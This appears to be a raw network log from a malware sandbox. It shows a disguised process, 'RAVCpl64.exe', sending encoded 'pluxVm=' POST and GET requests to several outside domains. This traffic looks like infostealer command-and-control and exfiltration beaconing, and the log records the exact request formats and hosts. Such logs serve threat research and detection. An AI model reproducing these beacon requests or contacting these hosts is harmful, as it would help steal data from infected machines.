Dec 3, 2024 14:52:34.124768972 CET	425	OUT	GET /mdkc/?pluxVm=yWWHbhCahbG3DdaBnt9NrGvMUCSQc4g2Tqe6SUjOSsODgr6CFa5SJdyjtzT5mznodS2lvT8/GpN3gvUqymh3/8TyFQ0rIiTFrx443/jhZTAx0fULTMMcMck=&Z1EO=OvfHeluUy HTTP/1.1 Host: www.epicurecooks.world Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0
Dec 3, 2024 14:52:34.872580051 CET	997	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 13:52:34 GMT Server: Apache Referrer-Policy: no-referrer-when-downgrade Accept-CH: Sec-CH-Save-Data, Sec-CH-DPR, Sec-CH-Width, Sec-CH-Viewport-Width, Sec-CH-Viewport-Height, Sec-CH-Device-Memory, Sec-CH-RTT, Sec-CH-Downlink, Sec-CH-ECT, Sec-CH-Prefers-Color-Scheme, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-platform-version=("https://dts.gnpge.com"), ch-ua-model=("https://dts.gnpge.com") Set-Cookie: vsid=911vr4807795543428155; expires=Sun, 02-Dec-2029 13:52:34 GMT; Max-Age=157680000; path=/; domain=www.epicurecooks.world; HttpOnly X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_Qc4AuhigFg8r2P44Ahsh8bwNmEM1XOJ/2JxY7rqUyl9lnNqfVsEL9tG1PBe14SfEyJewSt5/6EqiUIq8XQ0z/A== Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Connection: close
Dec 3, 2024 14:52:34.872597933 CET	186	IN	Data Raw: 39 66 39 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c Data Ascii: 9f96<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><link rel="preconnect" href="https://delivery.consentmanager.net"> <link r
Dec 3, 2024 14:52:34.872620106 CET	1220	IN	Data Raw: 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 Data Ascii: el="preconnect" href="https://cdn.consentmanager.net"> <script>window.cmp_stayiniframe = 1; window.cmp_dontloadiniframe = true; if(!"gdprAppliesGlobally" in window){window.gdprAppliesGlobally=true}if(!("cmp_id" in window)\|
Dec 3, 2024 14:52:34.872634888 CET	1220	IN	Data Raw: 69 6e 64 6f 77 2e 63 6d 70 5f 63 75 73 74 6f 6d 6c 61 6e 67 75 61 67 65 73 5b 62 5d 2e 6c 29 7d 7d 7d 72 65 74 75 72 6e 20 61 7d 3b 77 69 6e 64 6f 77 2e 63 6d 70 5f 67 65 74 6c 61 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 6a 29 7b 69 66 28 74 79 70 65 Data Ascii: indow.cmp_customlanguages[b].l)}}}return a};window.cmp_getlang=function(j){if(typeof(j)!="boolean"){j=true}if(j&&typeof(cmp_getlang.usedlang)=="string"&&cmp_getlang.usedlang!==""){return cmp_getlang.usedlang}var g=window.cmp_getsupportedLangs(
Dec 3, 2024 14:52:34.872883081 CET	1220	IN	Data Raw: 61 72 20 62 3d 22 5f 65 6e 22 3b 69 66 28 22 63 6d 70 5f 67 65 74 6c 61 6e 67 22 20 69 6e 20 68 29 7b 6f 3d 68 2e 63 6d 70 5f 67 65 74 6c 61 6e 67 28 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 69 66 28 22 63 6d 70 5f 63 75 73 74 6f 6d 6c 61 Data Ascii: ar b="_en";if("cmp_getlang" in h){o=h.cmp_getlang().toLowerCase();if("cmp_customlanguages" in h){for(var q=0;q<h.cmp_customlanguages.length;q++){if(h.cmp_customlanguages[q].l.toUpperCase()==o.toUpperCase()){o="en";break}}}b="_"+o}function x(i,
Dec 3, 2024 14:52:34.872901917 CET	1220	IN	Data Raw: 70 6b 65 79 3d 22 2b 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 72 29 3a 22 22 29 2b 28 6e 21 3d 22 22 3f 22 26 63 6d 70 61 74 74 3d 22 2b 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 6e 29 3a 22 22 29 2b 28 22 63 6d 70 Data Ascii: pkey="+encodeURIComponent(r):"")+(n!=""?"&cmpatt="+encodeURIComponent(n):"")+("cmp_params" in h?"&"+h.cmp_params:"")+(u.cookie.length>0?"&__cmpfcc=1":"")+"&l="+o.toLowerCase()+"&o="+(new Date()).getTime();j.type="text/javascript";j.async=true;
Dec 3, 2024 14:52:34.872916937 CET	1220	IN	Data Raw: 6c 65 6e 67 74 68 3d 3d 30 29 7b 74 3d 76 28 22 68 65 61 64 22 29 7d 69 66 28 74 2e 6c 65 6e 67 74 68 3e 30 29 7b 74 5b 30 5d 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6a 29 7d 7d 7d 7d 29 28 29 3b 77 69 6e 64 6f 77 2e 63 6d 70 5f 61 64 64 46 72 61 Data Ascii: length==0){t=v("head")}if(t.length>0){t[0].appendChild(j)}}}})();window.cmp_addFrame=function(b){if(!window.frames[b]){if(document.body){var a=document.createElement("iframe");a.style.cssText="display:none";if("cmp_cdn" in window&&"cmp_ultrabl
Dec 3, 2024 14:52:34.872931957 CET	1220	IN	Data Raw: 6c 73 65 7b 69 66 28 61 5b 30 5d 3d 3d 3d 22 67 65 74 55 53 50 44 61 74 61 22 29 7b 61 5b 32 5d 28 7b 76 65 72 73 69 6f 6e 3a 31 2c 75 73 70 53 74 72 69 6e 67 3a 77 69 6e 64 6f 77 2e 63 6d 70 5f 72 63 28 22 22 29 7d 2c 74 72 75 65 29 7d 65 6c 73 Data Ascii: lse{if(a[0]==="getUSPData"){a[2]({version:1,uspString:window.cmp_rc("")},true)}else{if(a[0]==="getTCData"){__cmp.a.push([].slice.apply(a))}else{if(a[0]==="addEventListener"\|\|a[0]==="removeEventListener"){__cmp.a.push([].slice.apply(a))}else{if
Dec 3, 2024 14:52:35.016438961 CET	1220	IN	Data Raw: 67 65 74 47 50 50 44 61 74 61 22 29 7b 72 65 74 75 72 6e 7b 73 65 63 74 69 6f 6e 49 64 3a 33 2c 67 70 70 56 65 72 73 69 6f 6e 3a 31 2c 73 65 63 74 69 6f 6e 4c 69 73 74 3a 5b 5d 2c 61 70 70 6c 69 63 61 62 6c 65 53 65 63 74 69 6f 6e 73 3a 5b 30 5d Data Ascii: getGPPData"){return{sectionId:3,gppVersion:1,sectionList:[],applicableSections:[0],gppString:"",pingData:window.cmp_gpp_ping()}}else{if(g==="hasSection"\|\|g==="getSection"\|\|g==="getField"){return null}else{__gpp.q.push([].slice.apply(a))}}}}}};
Dec 3, 2024 14:52:35.016459942 CET	1220	IN	Data Raw: 3a 7b 72 65 74 75 72 6e 56 61 6c 75 65 3a 68 2c 73 75 63 63 65 73 73 3a 67 2c 63 61 6c 6c 49 64 3a 62 2e 63 61 6c 6c 49 64 7d 7d 3b 64 2e 73 6f 75 72 63 65 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 61 3f 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 Data Ascii: :{returnValue:h,success:g,callId:b.callId}};d.source.postMessage(a?JSON.stringify(e):e,"*")},"parameter" in b?b.parameter:null,"version" in b?b.version:1)}};window.cmp_setStub=function(a){if(!(a in window)\|\|(typeof(window[a])!=="function"&&typ
Dec 3, 2024 14:52:35.016685009 CET	1220	IN	Data Raw: 62 6c 65 75 73 70 22 20 69 6e 20 77 69 6e 64 6f 77 29 7c 7c 21 77 69 6e 64 6f 77 2e 63 6d 70 5f 64 69 73 61 62 6c 65 75 73 70 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 65 74 53 74 75 62 28 22 5f 5f 75 73 70 61 70 69 22 29 7d 69 66 28 21 28 22 63 Data Ascii: bleusp" in window)\|\|!window.cmp_disableusp){window.cmp_setStub("__uspapi")}if(!("cmp_disablegpp" in window)\|\|!window.cmp_disablegpp){window.cmp_setGppStub("__gpp")};</script><script type="text/javascript">var abp;</script><script type="text/ja

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.11.20	49776	89.31.143.90	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:52:40.760699987 CET	677	OUT	POST /og0p/ HTTP/1.1 Host: www.eichner.pro Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.eichner.pro Referer: http://www.eichner.pro/og0p/ Content-Length: 203 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 58 61 6c 54 36 59 48 55 64 5a 6a 78 45 4d 34 71 72 79 76 73 52 31 70 6d 4d 72 64 4a 72 32 71 31 63 7a 7a 66 42 6c 51 4b 55 66 77 7a 33 39 62 7a 6a 38 65 35 46 5a 4d 35 50 4b 47 6b 7a 68 52 4b 31 33 74 6b 7a 51 6e 51 51 66 67 4e 4c 42 48 47 41 58 47 52 55 38 75 49 50 69 59 73 79 56 4f 52 2f 4e 4e 55 4f 70 6f 48 6c 36 75 69 68 4f 36 70 61 39 72 45 65 32 66 47 6c 31 6f 74 76 4c 75 2f 41 47 36 4b 4b 6d 41 62 54 6d 53 74 69 71 74 49 50 45 69 6f 2f 57 6e 70 6a 45 55 65 78 46 31 69 78 77 72 7a 4f 48 6b 6f 33 73 43 6b 39 4a 72 6a 44 4b 67 59 34 45 6a 6b 44 63 68 63 65 59 6e 43 6f 51 3d 3d Data Ascii: pluxVm=XalT6YHUdZjxEM4qryvsR1pmMrdJr2q1czzfBlQKUfwz39bzj8e5FZM5PKGkzhRK13tkzQnQQfgNLBHGAXGRU8uIPiYsyVOR/NNUOpoHl6uihO6pa9rEe2fGl1otvLu/AG6KKmAbTmStiqtIPEio/WnpjEUexF1ixwrzOHko3sCk9JrjDKgY4EjkDchceYnCoQ==
Dec 3, 2024 14:52:40.954447031 CET	333	IN	HTTP/1.1 405 Not Allowed Date: Tue, 03 Dec 2024 13:52:40 GMT Content-Type: text/html Content-Length: 154 Connection: close Server: UD Webspace 3.2 Allow: GET, POST, HEAD Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.11.20	49777	89.31.143.90	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:52:43.482830048 CET	697	OUT	POST /og0p/ HTTP/1.1 Host: www.eichner.pro Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.eichner.pro Referer: http://www.eichner.pro/og0p/ Content-Length: 223 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 58 61 6c 54 36 59 48 55 64 5a 6a 78 46 70 6f 71 6e 7a 76 73 55 56 70 68 44 4c 64 4a 79 47 71 35 63 7a 2f 66 42 6e 39 42 55 70 49 7a 30 5a 4c 7a 69 35 71 35 4c 35 4d 35 48 71 47 62 33 68 51 47 31 33 68 73 7a 55 6e 51 51 5a 4d 4e 4c 42 33 47 41 67 61 53 47 63 75 47 57 53 59 69 39 31 4f 52 2f 4e 4e 55 4f 70 38 35 6c 36 32 69 68 2b 4b 70 61 63 71 32 64 32 65 30 6f 6c 6f 74 72 4c 76 30 41 47 36 53 4b 69 5a 30 54 67 57 74 69 76 70 49 50 57 4b 72 77 57 6e 72 6e 45 56 73 2f 58 64 73 31 69 62 36 50 55 38 54 32 75 44 62 78 2f 6d 35 65 34 55 38 37 58 2f 57 48 73 59 30 63 61 6d 5a 31 58 61 6a 55 6a 41 78 36 65 73 76 36 39 66 69 47 6d 68 59 2f 72 41 3d Data Ascii: pluxVm=XalT6YHUdZjxFpoqnzvsUVphDLdJyGq5cz/fBn9BUpIz0ZLzi5q5L5M5HqGb3hQG13hszUnQQZMNLB3GAgaSGcuGWSYi91OR/NNUOp85l62ih+Kpacq2d2e0olotrLv0AG6SKiZ0TgWtivpIPWKrwWnrnEVs/Xds1ib6PU8T2uDbx/m5e4U87X/WHsY0camZ1XajUjAx6esv69fiGmhY/rA=
Dec 3, 2024 14:52:43.683319092 CET	333	IN	HTTP/1.1 405 Not Allowed Date: Tue, 03 Dec 2024 13:52:43 GMT Content-Type: text/html Content-Length: 154 Connection: close Server: UD Webspace 3.2 Allow: GET, POST, HEAD Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.11.20	49778	89.31.143.90	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:52:46.209362030 CET	2578	OUT	POST /og0p/ HTTP/1.1 Host: www.eichner.pro Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.eichner.pro Referer: http://www.eichner.pro/og0p/ Content-Length: 7371 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 58 61 6c 54 36 59 48 55 64 5a 6a 78 46 70 6f 71 6e 7a 76 73 55 56 70 68 44 4c 64 4a 79 47 71 35 63 7a 2f 66 42 6e 39 42 55 70 41 7a 30 72 44 7a 69 65 32 35 49 35 4d 35 4a 4b 47 61 33 68 51 4c 31 32 4a 6f 7a 55 69 74 51 61 34 4e 49 6a 2f 47 47 55 75 53 4d 63 75 47 65 79 59 76 79 56 50 56 2f 4e 64 51 4f 70 73 35 6c 36 32 69 68 38 53 70 63 4e 71 32 62 32 66 47 6c 31 6f 58 76 4c 76 63 41 43 57 6f 4b 69 56 65 54 51 32 74 6a 50 35 49 49 6c 69 72 39 57 6e 74 67 45 56 30 2f 58 41 75 31 69 47 46 50 52 6f 31 32 70 58 62 37 2b 58 5a 43 70 78 68 74 48 76 56 45 73 51 33 54 36 4f 37 34 45 4f 6b 45 6a 73 71 6b 4c 49 6b 38 4e 4c 43 44 33 4e 7a 69 66 71 41 4e 69 4b 78 69 44 2f 76 44 72 4c 31 5a 44 33 70 67 4c 47 54 65 37 4c 59 67 30 65 68 41 69 70 4a 58 6f 61 34 71 39 77 39 5a 52 77 31 56 4d 6a 4f 35 71 72 52 63 7a 59 50 62 34 53 7a 77 39 59 4e 66 47 55 43 37 70 2b 2b 33 76 68 57 55 46 75 71 41 36 76 75 41 36 57 42 33 6f 53 50 68 35 79 70 6e 31 39 6d 77 50 39 74 61 51 68 4a 38 63 33 47 78 37 6e [TRUNCATED] Data Ascii: pluxVm=XalT6YHUdZjxFpoqnzvsUVphDLdJyGq5cz/fBn9BUpAz0rDzie25I5M5JKGa3hQL12JozUitQa4NIj/GGUuSMcuGeyYvyVPV/NdQOps5l62ih8SpcNq2b2fGl1oXvLvcACWoKiVeTQ2tjP5IIlir9WntgEV0/XAu1iGFPRo12pXb7+XZCpxhtHvVEsQ3T6O74EOkEjsqkLIk8NLCD3NzifqANiKxiD/vDrL1ZD3pgLGTe7LYg0ehAipJXoa4q9w9ZRw1VMjO5qrRczYPb4Szw9YNfGUC7p++3vhWUFuqA6vuA6WB3oSPh5ypn19mwP9taQhJ8c3Gx7n3aZmbgpsOH2Hoiw1jBO8aJ1dpeafpwsyqik39A0Xt72KFIQHCHGA3oylD6w6LxFpGzyRvb/awk1ADw7yr3BposNcqGyBgWp0o2sE/C/G3GJ/H4gIEBv4B+xRiQhKPkvYgW/HBzedCSUjO6PXK76nH/VQwj7i3O636v3EwRPBv8fWlnbwedCM72Wiq1L9Z1sgXL5gBkMRN3fbfqupQRAYoEMBIDQSBwQyjiouSjjcmy/3IWN7MYonmNZ62vF69Z4mNG5vqDOI+RX1M9PQA4BYYXu1CnnnpumiTMmDHVxiFcK6lx3pHU0AOgMKhkW+qeDXV0H6mabVgKFmEC3yLLmEq22pAyj8lTghUxsen9QjYxTh94PLuddnAjSvA4pVeGtKmE69lxA9IUGzQarVoPNZtlq7bGzlDRWat9aqLfv032/lT4PVL78ndNVCtVJ1T/iOy1OLMV0v8MRj+NlLH28TVgLrlI85xQ70eNIXGWaD6IS9r8wNN2VN8rIAJ6iHpt9f3/sBxf4pmJTTjHpHJ7KhEwONIWqUepsuz0ZGKgqeJiVa7wCzCr6RIPvugKBe8SkxZ4UkB9cNfproRoJOzXlPCQEJWl2x5+YKHTSedTFBu3JE/ErbcQoO58MfkZw8sna2Ug9xtHybTMlV/1QdH99E6owFGc3KSlOTEi [TRUNCATED]
Dec 3, 2024 14:52:46.209451914 CET	5268	OUT	Data Raw: 78 63 4f 53 79 4c 31 4b 49 64 52 59 6c 7a 70 50 66 76 6d 33 6d 6c 45 63 4e 52 4a 2b 56 6d 4f 57 6a 37 6b 6e 4a 52 6c 57 66 56 5a 4a 51 57 4e 42 64 66 74 62 70 74 55 2f 63 6a 6b 57 4e 59 6a 66 64 32 39 78 36 34 35 70 76 6f 6e 6b 38 62 39 34 78 53 Data Ascii: xcOSyL1KIdRYlzpPfvm3mlEcNRJ+VmOWj7knJRlWfVZJQWNBdftbptU/cjkWNYjfd29x645pvonk8b94xSpJwYaxyFBKX96lzXs1dd8P/jgIPeF/la0/2I1VYFfpO/oj4ni47RKU0esYunwq9WGrHzKiXC3qTR4g+vDkVC2Xd3G4QE/CzmPfahPUzPerp0uY1D9m4O2t/JrERy2di3GVkL/DX5eChROL/wjqUO28tSPdIZGn6vF
Dec 3, 2024 14:52:46.402591944 CET	333	IN	HTTP/1.1 405 Not Allowed Date: Tue, 03 Dec 2024 13:52:46 GMT Content-Type: text/html Content-Length: 154 Connection: close Server: UD Webspace 3.2 Allow: GET, POST, HEAD Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.11.20	49779	89.31.143.90	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:52:48.926189899 CET	418	OUT	GET /og0p/?pluxVm=aYNz5vX3IaeBLII2gGf9eURLdfN+pzrBFxzqHFB0Zc0E767K5MaAH/EqLovM7A815HxojS38W68HbT3JNl21N4jIU1lh5jKS99Zmbqcxop+R6eeWU//8U3E=&Z1EO=OvfHeluUy HTTP/1.1 Host: www.eichner.pro Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0
Dec 3, 2024 14:52:49.118822098 CET	159	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 13:52:49 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Server: UD Webspace 3.2 Data Raw: 31 39 65 30 0d 0a Data Ascii: 19e0
Dec 3, 2024 14:52:49.119079113 CET	1289	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 64 65 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 63 6f 6e 74 65 6e 74 3d 22 44 6f 6d 61 69 6e 20 72 65 67 69 73 Data Ascii: <!DOCTYPE html><html lang="de"><head><meta name="description"content="Domain registriert bei united-domains.de"><meta http-equiv="Content-Type"content="text/html; charset=UTF-8"><title>Domain im Kundenauftrag registriert</title><style>body,htm
Dec 3, 2024 14:52:49.119296074 CET	1289	IN	Data Raw: 41 50 59 61 64 38 47 41 36 41 41 41 41 41 58 52 53 54 6c 4d 41 51 4f 62 59 5a 67 41 41 42 38 70 4a 52 45 46 55 65 4e 72 74 6d 6f 75 53 6f 79 6f 51 51 42 73 78 43 42 68 41 35 50 48 2f 6e 33 70 74 6e 6f 62 64 5a 4a 78 39 31 63 79 74 6e 4b 70 4a 43 Data Ascii: APYad8GA6AAAAAXRSTlMAQObYZgAAB8pJREFUeNrtmouSoyoQQBsxCBhA5PH/n3ptnobdZJx91cytnKpJCELTHkHJbuDN94WwVSFihjefhggXYwwhRHyzHN58BqJCDEbNal1nE5Eg4M1lePB2JcSGeMK/V/JVjCU438SqQjzznoSXIH6FyqScESIWgoE3F/wJqMxhSm/MWhRo4tvgx1gBHUZayfuofFzh/wpTDP4Eyjzb1oCPB/
Dec 3, 2024 14:52:49.119348049 CET	1289	IN	Data Raw: 34 7a 32 77 33 36 44 37 57 50 79 31 51 48 2b 36 4b 4f 79 53 51 47 51 32 46 7a 65 43 4e 61 50 36 2b 48 54 58 42 4d 62 7a 58 64 78 41 51 51 43 38 66 67 72 50 5a 6c 78 51 33 73 61 52 41 4d 2b 66 77 75 64 72 56 73 71 52 76 42 5a 34 7a 74 64 65 45 44 Data Ascii: 4z2w36D7WPy1QH+6KOySQGQ2FzeCNaP6+HTXBMbzXdxAQQC8fgrPZlxQ3saRAM+fwudrVsqRvBZ4ztdeEDhNkDAXBfL4gPlQYKjGmaqdg+GMKRMiPOwDWd8HVjwhLr6kXw9VPjIgvO4Dq0lft57Y/KXAni9wFy8IVNGblbE1XBM47venDwXa2IBxPo1X5AeBqxie3aE8RYYV/PybyByG+Uo+EKji5x4idvTxmiEjAR8KZA++RBg
Dec 3, 2024 14:52:49.119390965 CET	1289	IN	Data Raw: 48 4d 42 77 36 55 5a 69 45 47 77 30 35 65 47 33 72 56 47 61 33 51 42 57 48 42 50 6e 61 78 69 49 52 32 37 4c 2f 68 42 45 69 42 33 66 59 50 6c 71 4c 67 42 4e 6c 39 79 4f 33 77 6c 6b 70 44 55 68 6b 70 63 31 61 6c 4a 2f 6f 7a 46 57 72 50 55 54 74 6a Data Ascii: HMBw6UZiEGw05eG3rVGa3QBWHBPnaxiIR27L/hBEiB3fYPlqLgBNl9yO3wlkpDUhkpc1alJ/ozFWrPUTtj+qDwiSxw0HaaQR6VA7hKghMPMSqf/AOVXTmgqvu9mAAAAAElFTkSuQmCC');overflow:hidden;text-indent:-9999px;font-size:0;color:rgba(255,255,255,0);text-align:left}#logo img{b
Dec 3, 2024 14:52:49.119434118 CET	1289	IN	Data Raw: 20 62 65 69 20 6a 65 64 65 72 20 6e 65 75 65 6e 20 44 6f 6d 61 69 6e 20 68 69 6e 74 65 72 6c 65 67 74 20 75 6e 64 20 7a 65 69 67 74 2c 20 64 61 73 73 20 64 69 65 20 6e 65 75 65 20 44 6f 6d 61 69 6e 20 65 72 72 65 69 63 68 62 61 72 20 69 73 74 2e Data Ascii: bei jeder neuen Domain hinterlegt und zeigt, dass die neue Domain erreichbar ist.<br>Ohne diese Platzhalter-Seite würden Besucher eine Fehlermeldung erhalten. Als Kunde von united-domains können Sie diese Domain in Ihrem <a href="ht
Dec 3, 2024 14:52:49.119467974 CET	186	IN	Data Raw: 65 6e 73 63 68 75 74 7a 68 69 6e 77 65 69 73 65 3c 2f 61 3e 3c 2f 70 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6f 6f 74 65 72 2d 77 72 61 70 70 65 72 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6f 6f 74 65 72 Data Ascii: enschutzhinweise</a></p></div></div><div class="footer-wrapper"><div class="footer">© united-domains AG. <span> Alle Rechte vorbehalten.</span></div></div></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.11.20	49780	8.136.96.106	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:52:55.832865953 CET	689	OUT	POST /mia8/ HTTP/1.1 Host: www.juewucangku.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.juewucangku.xyz Referer: http://www.juewucangku.xyz/mia8/ Content-Length: 203 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 6f 4c 43 51 74 45 69 6e 75 48 72 5a 55 4f 54 2b 6c 2b 41 77 49 37 47 75 46 37 37 6e 4b 6d 79 69 62 76 34 55 76 39 2b 48 51 5a 39 6f 55 6a 2f 30 2b 46 2b 38 6f 34 71 7a 64 49 45 74 33 36 72 68 34 32 70 59 65 33 2b 72 72 79 70 79 38 38 63 35 49 32 78 4e 34 72 2b 64 78 39 45 49 63 55 72 57 78 33 68 61 56 2b 62 46 4f 6a 75 65 59 56 54 53 73 46 30 53 36 4d 62 63 59 4e 76 6b 38 47 67 49 2f 4d 37 70 55 47 64 63 79 62 62 56 57 37 4d 33 69 5a 31 59 58 50 72 6a 32 50 77 57 58 5a 69 6b 77 51 67 51 77 68 38 32 38 58 61 38 42 4f 2b 69 49 6f 35 34 63 52 58 2b 41 5a 37 30 2f 71 6b 44 59 67 3d 3d Data Ascii: 